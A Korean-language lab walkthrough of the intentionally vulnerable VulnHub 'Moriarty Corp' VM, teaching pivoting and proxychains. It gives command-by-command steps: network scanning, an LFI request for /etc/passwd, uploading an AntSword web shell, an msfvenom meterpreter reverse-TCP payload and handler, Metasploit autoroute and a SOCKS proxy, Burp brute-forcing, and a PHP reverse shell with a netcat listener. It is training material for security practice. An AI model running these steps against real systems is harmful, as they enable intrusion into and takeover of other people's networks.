Vulnhub [Moriarty Corp]
Moriarty Corp 환경 실습
실습 환경
- VirtualBox로 구성
- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]
- Moriarty Corp[설치 경로 : https://www.vulnhub.com/entry/boredhackerblog-moriarty-corp,456/]
실습 목표
- 이 실습을 통해 포트포워딩 방법 중 하나인 Proxychains에 대해 숙지
- Pivoting(피봇팅)에 대한 절차에 대해 숙지
실습 전 숙지해야할 사전 지식
■ Port Forwarding
- 포트포워딩은 네트워크 주소 변환(NAT) 기술의 하나로, 외부 네트워크에서 특정 포트를 통해 들어오는 요청을 내부 네트워크 특정 장치나 서버로 전달하는 방법으로, 주로 외부에서 내부 통신을 위해 사용하지만, 내부에서 외부와 통신을 연결하기 위한 목적으로도 사용
■ Pivoting
- Pivoting(피봇팅)은 공격자가 침투한 시스템을 통해 다른 시스템이나 네트워크에 접근하는 기술
- 보통 시스템을 구축할 때, 외부와 Direct로 통신이 필요한 웹 서버, 메일 서버 등을 DMZ 네트워크에 구성하고, 외부에 통신이 필요하지 않는 사용자 PC등을 내부 네트워크로 구성한다.
- 공격자는 직접적으로 내부망으로 접근을 하지 못하기 때문에 탈취한 DMZ 서버에서 포트포워딩 작업 등을 통해 내부망과 공격자와 통신이 될 수 있도록 설정
여기서 전제조건은 DMZ 서버가 외부 및 내부망과 직접 통신이 가능해야 한다
즉, DMZ 서버에는 네트워크 카드가 두 개 이상 존재해야 함
진행 절차
Reconnaissance(정찰)
Step 1. Moriarty Corp 환경 Virtual Box에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음
해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취하는 것이 목표
Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득
- Kali Linux와 Moriarty Corp을 VirtualBox에서 NAT로 같은 네트워크로 설정 필요
- VirtualBox에서는 x.x.x.[1,2,3]은 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요
명령어 |
arp-scan -I eth0 -l |
Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집
- Open된 포트 : SSH(22/TCP), HTTP(8000/TCP), Docker(9000/TCP)
- NMAP을 통해 발견한 사실 : 확인된 포트가 SSH, HTTP, Docker로, 해당 SSH 버전의 취약점은 발견하지 못하여, 8000,9000번 포트를 점검 진행
명령어 |
nmap –sV –sC [점검할 IP] |
Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 서버 버전 정보를 제외한 별다른 정보를 찾아볼 수가 없었으며, dirb 역시 별다른 정보를 획득할 수 없음을 확인
Step 5. 8000번 포트로 접근 시, 시작을 하기 위해선 flag{start}를 입력하라는 문구를 확인하여 입력 시, 포트 80번으로 접근하라는 문구를 확인. NMAP으로 다시 점검한 결과, 80 Port가 오픈이 되어 있는 것을 확인할 수 있었으며, HTTP로 접근 가능 확인
Execution(실행)
Step 6. HTTP로 접근한 페이지 소스를 확인 결과, page1.html, page2.html 파일을 매개 변수로 받고 있는 것을 확인. 이러할 경우, LFI(Local File Include) 공격이 가능할 것으로 추측. nmap을 통해 Linux 파일임을 확인하였으므로, 리눅스 계정 정보를 다루고 있는 ‘/etc/passwd’ 조회 시, 열람 가능한 것으로 확인.
URL 입력값 |
http://[점검할 IP]?file=/etc/passwd |
Step 7. LFI가 가능할 경우, RFI도 가능할 수 있으므로, 칼리 리눅스에서 phpinfo 파일을 생성 후, 업로드 시 정상적으로 업로드 되는 것으로 확인. 웹쉘 도구 중 하나인 AntSword를 업로드 진행 시 웹 권한(apache) 획득 성공 확인
명령어 |
root@kali#echo "<?php phpinfo();?>" > phpinfo.php |
root@kali#php –S [Kali IP] |
root@kali#mousepad ant.txt |
root@kali#cp ant.txt /var/www/html |
root@kali#service apache2 start |
Step 8. 획득한 flag를 입력하면, 내부에 존재하는 데이터베이스 사이트를 찾아 침투를 진행하라는 미션이 있는 것을 확인.
내부 대역은 172.17.0.3-254 사이로 확인. 공격자인 Kali에서 내부에 존재하는 데이터로 통신 여부 체크 시 직접적으로 통신이 안되는 것으로 확인.
Kali에서 내부에 존재하는 데이터베이스와 직접적으로 통신을 하기 위하여 피봇팅(Pivoting)을 수행해야 할 것으로 판단.
Pivoting을 하기 위해선 침투한 내부에서 공격자인 Kali에게 통신할 수 있도록 라우팅(Routing)이 필요
Pivoting을 하는 방법 중 하나인 Metasploit에서 제공하는 autoroute를 사용하여 자동으로 라우팅을 지원해주는 기능을 사용할 예정이며, autoroute를 사용하기 위해선 미터프리터가 필요하기 때문에 Antsword에 미터프리터 연결을 위한 쉘 파일 업로드 진행 후 Autoroute 모듈 사용
AutoRoute : 공격자가 피봇팅 기술을 사용할 때 사용하는 모듈로, 하나의 공격 세션에서 다른 네트워크 세스먼트 트래픽을 라우팅할 때 사용
이를 통해, 공격자가 침투한 네트워크 내부의 다른 네트워크에 접근하고, 추가적인 공격을 수행할 수 있도록 하는 기능
명령어 |
root@kali: msfvenom –p linux/x64/meterpreter_reverse_tcp lhost=192.168.1.5 lport=1234 –f elf > shell.elf |
root@kali:msfconsole |
msf6 > use exploit/multi/handler |
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp |
msf6 exploit(multi/handler) > show options |
msf6 exploit(multi/handler) > set lhost 192.168.1.5 |
msf6 exploit(multi/handler) > set lport 1234 |
msf6 exploit(multi/handler) > exploit |
meterpreter > bg |
msf6 exploit(multi/handler) > use post/multi/manage/autoroute |
msf6 post(multi/manage/autoroute) > set session 1 |
msf6 post(multi/manage/autoroute) > exploit |
Step 9. autoroute 설정 후 내부 네트워크와 공격자인 Kali와 직접적인 연결을 위해 포트포워딩 필요.
포트포워딩 기술 중 Proxy Chains 방법을 사용하여 내부 네트워크와 Kali와 연결될 수 있도록 설정
Proxy Chains : 취약점을 이용하여 내부에 침투 성공한 이후, 타겟 네트워크에서 nmap 스캔을 수행하거나, Public 연결이 불가능한 내부의 여러 호스트를 스캔하려고 할 때 사용
침투한 시스템 중에서 방화벽 정책 등에 의해 공격자에서 내부 네트워크(Ex, 내부망)에 직접 접근이 불가능할 때, 침투 성한 환경에서 포트포워딩을 통해 외부에서 접근 불가능한 내부에서 공격자와 직접적으로 통신될 수있도록 설정
명령어 |
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy |
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1 |
root@kali:mousepad /etc/proxychains4.conf |
msf6 auxiliary(server/socks_proxy) > exploit -j |
Step 10. 접근한 페이지는 파일 업로드 및 패스워드를 입력하는 페이지로 확인되어 임의에 파일 업로드 및 패스워드 무차별 대입을 위하여 burp suite에서 intruder를 통해 무차별 공격 진행 결과. 패스워드는 ‘password’로 확인. 해당 패스워드로 로그인 시 관리자 페이지 접근이 되며, 리버스 쉘 획득을 위해 웹쉘 파일 업로드 후 실행 시, 정상적으로 리버스 쉘 획득 성공
명령어 |
root@kali#cp /usr/share/webshells/php/php-reverse-shell.php ./ |
root@kali#mousepad php-reverse-shell.php |
root@kali#nc –lvnp 4444 |
$ ls |